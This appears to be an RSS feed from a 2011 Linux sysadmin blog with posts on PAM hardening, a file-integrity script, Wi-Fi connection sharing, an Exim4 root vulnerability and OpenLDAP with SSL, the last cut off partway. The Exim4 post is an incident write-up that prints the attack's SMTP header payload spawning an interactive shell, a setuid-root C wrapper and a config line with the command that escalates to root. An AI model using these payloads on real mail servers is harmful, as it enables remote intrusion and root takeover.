<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Tips and Tricks for Systems Administrators</title>
	<atom:link href="http://saguide.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://saguide.wordpress.com</link>
	<description>Exciting tour towards various corners of GNU/Linux systems administration</description>
	<lastBuildDate>Sat, 23 Apr 2011 08:49:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='saguide.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Tips and Tricks for Systems Administrators</title>
		<link>http://saguide.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://saguide.wordpress.com/osd.xml" title="Tips and Tricks for Systems Administrators" />
	<atom:link rel='hub' href='http://saguide.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Secure user access with PAM</title>
		<link>http://saguide.wordpress.com/2011/04/23/secure-user-access-with-pam/</link>
		<comments>http://saguide.wordpress.com/2011/04/23/secure-user-access-with-pam/#comments</comments>
		<pubDate>Sat, 23 Apr 2011 08:21:22 +0000</pubDate>
		<dc:creator>saguide</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[access]]></category>
		<category><![CDATA[authentication]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[PAM]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://saguide.wordpress.com/?p=210</guid>
		<description><![CDATA[PAM (Pluggable Authentication Modules) allows you to choose how applications authenticate users. Note that PAM can do nothing unless an application is compiled with support for PAM. Most of the applications that are shipped with Debian (I&#8217;m more biased towards Debian ) have this support built in. Each application with PAM support provides a configuration [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=210&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>PAM (<em>Pluggable Authentication Modules</em>) allows you to choose how applications authenticate users. Note that PAM can do nothing unless an application is compiled with support for PAM. Most of the applications that are shipped with Debian (I&#8217;m more biased towards Debian <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) have this support built in.</p>
<p>Each application with PAM support provides a configuration file in <em>/etc/pam.d/</em> which can be used to modify its behavior:</p>
<ul>
<li>What backend is used for authentication.</li>
<li>What backend is used for sessions.</li>
<li>How do password checks behave.</li>
</ul>
<p>PAM offers you the possibility to go through several authentication steps at once, without the user&#8217;s knowledge. You could authenticate against a Berkeley database and against the normal <code>passwd</code> file, and the user only logs in if he authenticates correct in both. You can restrict a lot with PAM, just as you can open your system doors very wide, so be careful. A typical configuration line has a control field as its second element. Generally it should be set to <em>requisite</em>, which returns a login failure if one module fails.</p>
<p>The first thing I like to do, is to add MD5 support to PAM applications, since this helps protect against dictionary cracks (passwords can be longer if using MD5). The following two lines should be added to all files in <em>/etc/pam.d/</em> that grant access to the machine, like <em>login</em> and <em>ssh</em>.</p>
<pre># Be sure to install libpam-cracklib first or you will not be able to log in
       password   required     pam_cracklib.so retry=3 minlen=12 difok=3
       password   required     pam_unix.so use_authtok nullok md5</pre>
<p>Here the first line loads the <em>cracklib</em>PAM module, which provides password strength-checking, prompts for a new password with a minimum length of 12 characters, a difference of at least 3 characters from the old password, and allows 3 retries. Cracklib depends on a word-list package (such as wenglish, wspanish, wbritish, etc.), so make sure you install one that is appropriate for your language or cracklib might not be useful to you at all. The second line introduces the standard authentication module with MD5 passwords and allows a zero length password. The <em>use_authtok</em> directive is necessary to hand over the password from the previous module.</p>
<p>If you want to make sure that the user <em>root</em> can only log into the system from local terminals, the following line should be enabled in <em>/etc/pam.d/login</em></p>
<pre>auth     requisite  pam_securetty.so</pre>
<p>Then you should modify the list of terminals on which direct root login is allowed in <em>/etc/securetty</em>. Alternatively, you could enable the <em>pam_access</em> module and modify <em>/etc/security/access.conf</em> which allows for a more general and fine-tuned access control.</p>
<pre>session  required   pam_limits.so</pre>
<p>This restricts the system resources that users are allowed. For example, you could restrict the number of concurrent logins (of a given group of users, or system-wide), number of processes, memory size etc.</p>
<p>Now edit <em>/etc/pam.d/passwd</em> and change the first line. You should add the option &#8220;<em>md5</em>&#8221; to use MD5 passwords, change the minimum length of password from 4 to 6 (or more) and set a maximum length, if you desire. The resulting line will look something like:</p>
<pre>password   required   pam_unix.so nullok obscure min=6 max=11 md5</pre>
<p>If you want to protect <em>su</em>, so that only some people can use it to become root on your system, you need to add a new group &#8220;<em>wheel</em>&#8221; to your system. Add root and the other users that should be able to <em>su</em> to the root user to this group. Then add the following line to <em>/etc/pam.d/su</em> .</p>
<pre>auth        requisite   pam_wheel.so group=wheel debug</pre>
<p>This makes sure that only people from the group &#8220;wheel&#8221; can use <code>su</code> to become root. Other users will not be able to become root. In fact they will get a denied message if they try to become root.</p>
<p>If you want only certain users to authenticate at a PAM service, this is quite easy to achieve by using files where the users who are allowed to login (or not) are stored. Imagine you only want to allow user &#8216;X&#8217; to log in via <code>ssh</code>. So you put him into <em>/etc/sshusers-allowed</em> and write the following into <em>/etc/pam.d/ssh</em> :</p>
<pre>auth        required    pam_listfile.so item=user sense=allow file=/etc/sshusers-allowed onerr=fail</pre>
<p>Last, but not least, create <em>/etc/pam.d/other</em> and enter the following lines:</p>
<pre>       auth     required       pam_securetty.so
       auth     required       pam_unix_auth.so
       auth     required       pam_warn.so
       auth     required       pam_deny.so
       account  required       pam_unix_acct.so
       account  required       pam_warn.so
       account  required       pam_deny.so
       password required       pam_unix_passwd.so
       password required       pam_warn.so
       password required       pam_deny.so
       session  required       pam_unix_session.so
       session  required       pam_warn.so
       session  required       pam_deny.so</pre>
<p>These lines will provide a good default configuration for all applications that support PAM (access is denied by default).</p>
<a class="DiggThisButton DiggMedium" href="http://digg.com/submit?url=http%3A%2F%2Fsaguide.wordpress.com%2F2011%2F04%2F23%2Fsecure-user-access-with-pam%2F&amp;title=Secure+user+access+with%26nbsp%3BPAM"></a>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/saguide.wordpress.com/210/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/saguide.wordpress.com/210/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/saguide.wordpress.com/210/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/saguide.wordpress.com/210/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/saguide.wordpress.com/210/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/saguide.wordpress.com/210/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/saguide.wordpress.com/210/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/saguide.wordpress.com/210/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/saguide.wordpress.com/210/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/saguide.wordpress.com/210/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/saguide.wordpress.com/210/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/saguide.wordpress.com/210/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/saguide.wordpress.com/210/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/saguide.wordpress.com/210/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=210&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://saguide.wordpress.com/2011/04/23/secure-user-access-with-pam/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/fdcb12155cfeadc4403c76610363a794?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">saguide</media:title>
		</media:content>
	</item>
		<item>
		<title>Easy way to check the integrity of files</title>
		<link>http://saguide.wordpress.com/2011/04/03/easy-way-to-check-the-integrity-of-files/</link>
		<comments>http://saguide.wordpress.com/2011/04/03/easy-way-to-check-the-integrity-of-files/#comments</comments>
		<pubDate>Sun, 03 Apr 2011 09:23:28 +0000</pubDate>
		<dc:creator>saguide</dc:creator>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[Integrity]]></category>
		<category><![CDATA[Script]]></category>

		<guid isPermaLink="false">http://saguide.wordpress.com/?p=197</guid>
		<description><![CDATA[This came to my mind suddenly while synchronizing a file system over a congested network last week. How can I guarantee the integrity of files which I&#8217;m syncing? Is there a way to make sure that there are no bits missing while transferring? So I wrote this small piece of script to check the integrity [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=197&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This came to my mind suddenly while synchronizing a file system over a congested network last week. How can I guarantee the integrity of files which I&#8217;m syncing? Is there a way to make sure that there are no bits missing while transferring? So I wrote this small piece of script to check the integrity of files and it saved my time in a great deal. All you have to do is, to run the following script on required files before starting the synchronization or copying or moving and re-run the same script on the same set of files after at the new location. This script will generate a bunch of (well, that will depend on the number of files you have <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) files containing the MD5 hash of each file. So let&#8217;s look at what this script does.</p>
<pre>
#!/bin/bash

#Usage:
#       chk_integrity.sh "/path/to/directory"

DATE=`date +%Y.%m.%d_%H.%M.%S.%N`

SHIFT=$[`tput cols`-10]
MOVE="\33["$SHIFT"G"
DEFAULT="\33[0;39m"
RED="\33[1;31m"
GREEN="\33[1;32m"
YELLOW="\33[1;33m"
BLUE="\33[1;34m"

logError_end() {
    echo -e "$MOVE$RED$1$DEFAULT"
}

logOk_end() {
    echo -e "$MOVE$GREEN$1$DEFAULT"
}

logWarning_end() {
    echo -e "$MOVE$YELLOW$1$DEFAULT"
}

checkSum() {
    #$1=file
    echo -en CheckSum:\\t$1
    file=`basename $1`
    dir=`dirname $1`
    (cd $dir &amp;&amp; md5sum -c -- $file &gt;/dev/null 2&gt;&amp;1 &amp;&amp; logOk_end OK || logError_end ERROR)
}

calcSum() {
    #$1=file
    echo -en CalcSum:\\t$1
    file=`basename $1`
    dir=`dirname $1`
    (cd $dir &amp;&amp; md5sum -b -- $file &gt;$file.md5 2&gt;/dev/null &amp;&amp; logWarning_end CALCULATED || logError_end ERROR)
}

fin_process() {
    while read; do
        #echo $REPLY
        if test -n "`echo $REPLY | grep '\.md5$'`"; then
            checkSum $REPLY
        else
            if test ! -f "$REPLY.md5"; then
                calcSum $REPLY
            fi
        fi
    done
}

find $1 -type f | fin_process;

exit $?
</pre>
<p>Once the whole process is complete you can simply remove those <em>.md5</em> files using the following command</p>
<pre>find -name "*.md5" -exec rm {} \;</pre>
<p> Hope you'll find this useful and I'm sure it will save your time in a great deal.</p>
<a class="DiggThisButton DiggMedium" href="http://digg.com/submit?url=http%3A%2F%2Fsaguide.wordpress.com%2F2011%2F04%2F03%2Feasy-way-to-check-the-integrity-of-files%2F&amp;title=Easy+way+to+check+the+integrity+of%26nbsp%3Bfiles"></a>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/saguide.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/saguide.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/saguide.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/saguide.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/saguide.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/saguide.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/saguide.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/saguide.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/saguide.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/saguide.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/saguide.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/saguide.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/saguide.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/saguide.wordpress.com/197/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=197&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://saguide.wordpress.com/2011/04/03/easy-way-to-check-the-integrity-of-files/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/fdcb12155cfeadc4403c76610363a794?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">saguide</media:title>
		</media:content>
	</item>
		<item>
		<title>Share your internet connection through Wi-Fi</title>
		<link>http://saguide.wordpress.com/2011/01/15/share-your-internet-connection-through-wi-fi/</link>
		<comments>http://saguide.wordpress.com/2011/01/15/share-your-internet-connection-through-wi-fi/#comments</comments>
		<pubDate>Sat, 15 Jan 2011 16:01:09 +0000</pubDate>
		<dc:creator>saguide</dc:creator>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Share Connection]]></category>

		<guid isPermaLink="false">http://saguide.wordpress.com/?p=184</guid>
		<description><![CDATA[Last week I was in a not so urban area participating to our organization&#8217;s annual planning meeting. There the major problem we all faced was the unavailability of internet connectivity. Even though most of the folks had 3G HSDPA dongles due to bad signal strength most of them couldn&#8217;t get connected. Luckily I was able [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=184&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Last week I was in a not so urban area participating to our organization&#8217;s annual planning meeting. There the major problem we all faced was the unavailability of internet connectivity. Even though most of the folks had 3G HSDPA dongles due to bad signal strength most of them couldn&#8217;t get connected. Luckily I was able to use an uninterrupted connection for some reason, probably because of the location I was seated. However without consuming the bandwidth alone I thought of sharing my internet connectivity for the benefit of everyone. So I came up with this small script because I had to stay there for couple of more days and I was lazy to follow the same set of commands every morning. <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>This method is heavily dependent on <a title="DNSMasq home page" href="http://www.thekelleys.org.uk/dnsmasq/doc.html">dnsmasq</a> and <a title="Iptables home page" href="http://www.netfilter.org/projects/iptables/">iptables</a> and I used following lines in <em> /etc/dnsmasq.conf</em></p>
<pre>domain-needed
bogus-priv
interface=wlan0
dhcp-range=192.168.0.50,192.168.0.150,12h</pre>
<p>Then the rest is as follow. Make sure you run this as &#8216;root&#8217;</p>
<pre>#!/bin/sh
#
# This script will instantly turn your wifi interface
# to an access-point and share your internet connection.
#

INET_IFACE="ppp0"
LAN_IFACE="wlan0"
LO_IFACE="lo"
LO_IP="127.0.0.1"
PUB_IP="192.168.0.254"
IPTABLES="/sbin/iptables"
SSID="MY-WIFI"

ifdown $LAN_IFACE
iwconfig $LAN_IFACE essid $SSID mode Ad-Hoc
ifconfig $LAN_IFACE $PUB_IP

echo 1 &gt; /proc/sys/net/ipv4/icmp_echo_ignore_all
echo 1 &gt; /proc/sys/net/ipv4/ip_dynaddr
echo 1 &gt; /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
echo 1 &gt; /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
echo 1 &gt; /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
echo 1 &gt; /proc/sys/net/ipv4/conf/all/rp_filter
echo 0 &gt; /proc/sys/net/ipv4/conf/all/accept_source_route
echo 0 &gt; /proc/sys/net/ipv4/conf/all/accept_redirects
echo 0 &gt; /proc/sys/net/ipv4/conf/all/secure_redirects
echo 1 &gt; /proc/sys/net/ipv4/conf/all/proxy_arp
echo 1 &gt; /proc/sys/net/ipv4/ip_forward

/etc/init.d/dnsmasq stop
/etc/init.d/dnsmasq start

for f in /proc/sys/net/ipv4/conf/*/rp_filter ; do echo 1 &gt; $f ; done

$IPTABLES -F
$IPTABLES -t nat -F

$IPTABLES -P INPUT DROP
$IPTABLES -P OUTPUT DROP
$IPTABLES -P FORWARD DROP
$IPTABLES -N bad_tcp
$IPTABLES -N allowed
$IPTABLES -N tcp_pkg

$IPTABLES -A bad_tcp -p tcp --tcp-flags SYN,ACK SYN,ACK -m state --state NEW -j DROP
$IPTABLES -A bad_tcp -p tcp ! --syn -m state --state NEW -j LOG --log-prefix "New not syn:"
$IPTABLES -A bad_tcp -p tcp ! --syn -m state --state NEW -j DROP

$IPTABLES -A allowed -p TCP --syn -j ACCEPT
$IPTABLES -A allowed -p TCP -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A allowed -p TCP -j DROP

$IPTABLES -A tcp_pkg -p TCP -s 0/0 --dport 443  -j allowed
$IPTABLES -A tcp_pkg -p TCP -s 0/0 --dport 80 -j allowed
$IPTABLES -A INPUT -p ALL -m  state --state INVALID -j DROP
$IPTABLES -A INPUT -p ALL -i  $LO_IFACE  -j ACCEPT
$IPTABLES -A INPUT -p ALL -i  $LAN_IFACE  -j ACCEPT
$IPTABLES -A INPUT -p TCP -j  bad_tcp
$IPTABLES -A INPUT -p ALL -i  $INET_IFACE -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A INPUT -p TCP -i  $INET_IFACE -j tcp_pkg
$IPTABLES -A OUTPUT -p ALL -s $LO_IP      -j ACCEPT
$IPTABLES -A OUTPUT -p ALL -o $INET_IFACE -j ACCEPT
$IPTABLES -A OUTPUT -p ALL -o $LAN_IFACE -j ACCEPT

$IPTABLES  -I FORWARD -i $LAN_IFACE  -d 192.168.0.0/255.255.0.0 -j DROP
$IPTABLES  -A FORWARD -i $LAN_IFACE  -s 192.168.0.0/255.255.0.0 -j ACCEPT
$IPTABLES  -A FORWARD -i $INET_IFACE -d 192.168.0.0/255.255.0.0 -j ACCEPT

$IPTABLES  -t nat -A POSTROUTING -o $INET_IFACE -j MASQUERADE

# END
</pre>
<p>That&#8217;s it. You can add/remove/change allowed ports accordingly as your requirement. Also you can monitor who connects to your wifi network and what are they doing via<em> /var/log/syslog . </em></p>
<a class="DiggThisButton DiggMedium" href="http://digg.com/submit?url=http%3A%2F%2Fsaguide.wordpress.com%2F2011%2F01%2F15%2Fshare-your-internet-connection-through-wi-fi%2F&amp;title=Share+your+internet+connection+through%26nbsp%3BWi-Fi"></a>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/saguide.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/saguide.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/saguide.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/saguide.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/saguide.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/saguide.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/saguide.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/saguide.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/saguide.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/saguide.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/saguide.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/saguide.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/saguide.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/saguide.wordpress.com/184/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=184&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://saguide.wordpress.com/2011/01/15/share-your-internet-connection-through-wi-fi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/fdcb12155cfeadc4403c76610363a794?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">saguide</media:title>
		</media:content>
	</item>
		<item>
		<title>Root vulnerability in Debian Exim4</title>
		<link>http://saguide.wordpress.com/2010/12/27/root-vulnerability-in-debian-exim4/</link>
		<comments>http://saguide.wordpress.com/2010/12/27/root-vulnerability-in-debian-exim4/#comments</comments>
		<pubDate>Mon, 27 Dec 2010 14:08:51 +0000</pubDate>
		<dc:creator>saguide</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Exim]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://saguide.wordpress.com/?p=179</guid>
		<description><![CDATA[We&#8217;ve been using Exim4 on Debian lenny (exim4-daemon-light 4.69-9) for a while and last Saturday (18th December 2010) we found out that there&#8217;s something wrong in our mail delivery system. By observing Exim4 logs we could found out that MAIN_RELAY_NETS macro has failed to identify relay_nets specified in the Exim4 configuration. Also we have noticed [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=179&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>We&#8217;ve been using Exim4 on Debian lenny (<em>exim4-daemon-light 4.69-9</em>) for a while and last Saturday (18th December 2010) we found out that there&#8217;s something wrong in our mail delivery system. By observing Exim4 logs we could found out that MAIN_RELAY_NETS macro has failed to identify relay_nets specified in the Exim4 configuration. Also we have noticed that the MTA has failed to identify system mail attributes like mailname, aliases, etc. By investigating further on this matter we figured out that this an attack on Exim4 using an existing root vulnerability.</p>
<p>According to the National Vulnerability Database, the attack is possible due to a heap-based buffer overflow in the string_vformat function in string.c in Exim before 4.70. And it allows remote attackers to execute arbitrary code via an SMTP session that includes two MAIL commands in conjunction with a large message containing crafted headers which leads to improper rejection logging. The other vulnerability is on Exim 4.72 and earlier versions allows local users to gain privileges by leveraging the ability of the exim user account to specify an alternate configuration file with a directive that contains arbitrary commands, as demonstrated by the spool_directory directive. Those 2 vulnerabilities are reported under CVE-2010-4344 and CVE-2010-4345 respectively in the National Vulnerability Database.</p>
<p>Following is the sequence of the attack.</p>
<pre>
EHLO mail.mydomain.com
MAIL FROM:
RCPT TO:
DATA
Data001: FOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAA
....
Data058: FOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAA
HeaderX: ${run{/bin/sh -c 'exec /bin/sh -i &amp;0 2&gt;&amp;0'}}${run{/bin/sh -c 'exec /bin/sh -i &amp;0 2&gt;&amp;0'}}........
BARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBB
BARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBB
..........
about 700000 the same strings
..........
BARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBB
BARBBBB
.
</pre>
<p>After this the attacker gets shell access under the id of Debian-Exim4 user and pwd in /var/spool/exim4. From there the attacker can easily escalate his privileges to root using setuid.</p>
<p>Example:</p>
<pre>
int main(int argc, char *argv[ ])
{
	setuid(0);
	setgid(0);
	setgroups(0, NULL);
	execl("/bin/sh", "sh", NULL);
}
</pre>
<p>And to get the setuid bit, he can create another file there called ex.conf with following content;</p>
<p>
<pre>spool_directory = ${run{/bin/chown root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4/setuid}}</pre>
</p>
<p>and by running,</p>
<pre>exim -C ex.conf -q </pre>
</p>
<p>Debian has already released a patch and a patched version of Exim4 for Lenny and Squeeze.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/saguide.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/saguide.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/saguide.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/saguide.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/saguide.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/saguide.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/saguide.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/saguide.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/saguide.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/saguide.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/saguide.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/saguide.wordpress.com/179/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/saguide.wordpress.com/179/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/saguide.wordpress.com/179/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=179&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://saguide.wordpress.com/2010/12/27/root-vulnerability-in-debian-exim4/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/fdcb12155cfeadc4403c76610363a794?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">saguide</media:title>
		</media:content>
	</item>
		<item>
		<title>Configure OpenLDAP with SSL</title>
		<link>http://saguide.wordpress.com/2010/09/26/configure-openldap-with-ssl/</link>
		<comments>http://saguide.wordpress.com/2010/09/26/configure-openldap-with-ssl/#comments</comments>
		<pubDate>Sun, 26 Sep 2010 13:23:12 +0000</pubDate>
		<dc:creator>saguide</dc:creator>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[LDAP+SSL]]></category>
		<category><![CDATA[OpenLDAP]]></category>
		<category><![CDATA[slapd]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://saguide.wordpress.com/?p=163</guid>
		<description><![CDATA[Here I&#8217;m again after a long period of hibernation. This time I thought of discussing about OpenLDAP server as we are dealing with it on daily basis and more or less it has become a part of our admin life . As to start with let&#8217;s see how we can setup an OpenLDAP server with [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=163&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Here I&#8217;m again after a long period of hibernation. This time I thought of discussing about OpenLDAP server as we are dealing with it on daily basis and more or less it has become a part of our admin life <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . As to start with let&#8217;s see how we can setup an OpenLDAP server with SSL. For my ease I&#8217;ll take a Debian based operating system as the platform and other users can change file paths and installation methods accordingly.</p>
<p><strong>Installing OpenLDAP and OpenSSL</strong></p>
<p>You can either install slapd from apt repos or you can <a title="Download OpenLdap" href="http://www.openldap.org/software/download/" target="_blank">download</a> it. Either way I assume now you have OpenLDAP server installed. Same slapd you can install openssl from apt repos or you can get the source from the <a title="Download OpenSSL source" href="http://www.openssl.org/source/" target="_blank">web</a>. Now let&#8217;s look at the configuring part.</p>
<pre>﻿﻿sudo apt-get install slapd db4.2-util openssl</pre>
<p><strong>Generating self-signed certificates</strong></p>
<p>During this process you&#8217;ll be asked a number of questions. When asked for the <em>Common Name</em> be sure to set it to the fully qualified domain name you will be using for your OpenLDAP secured server.</p>
<pre>﻿ sudo mkdir /etc/ldap/ssl
  cd /etc/ldap/ssl
  sudo openssl req -newkey rsa:1024 -x509 -nodes -out server.pem -keyout server.pem -days 3650</pre>
<pre>Generating a 1024 bit RSA private key
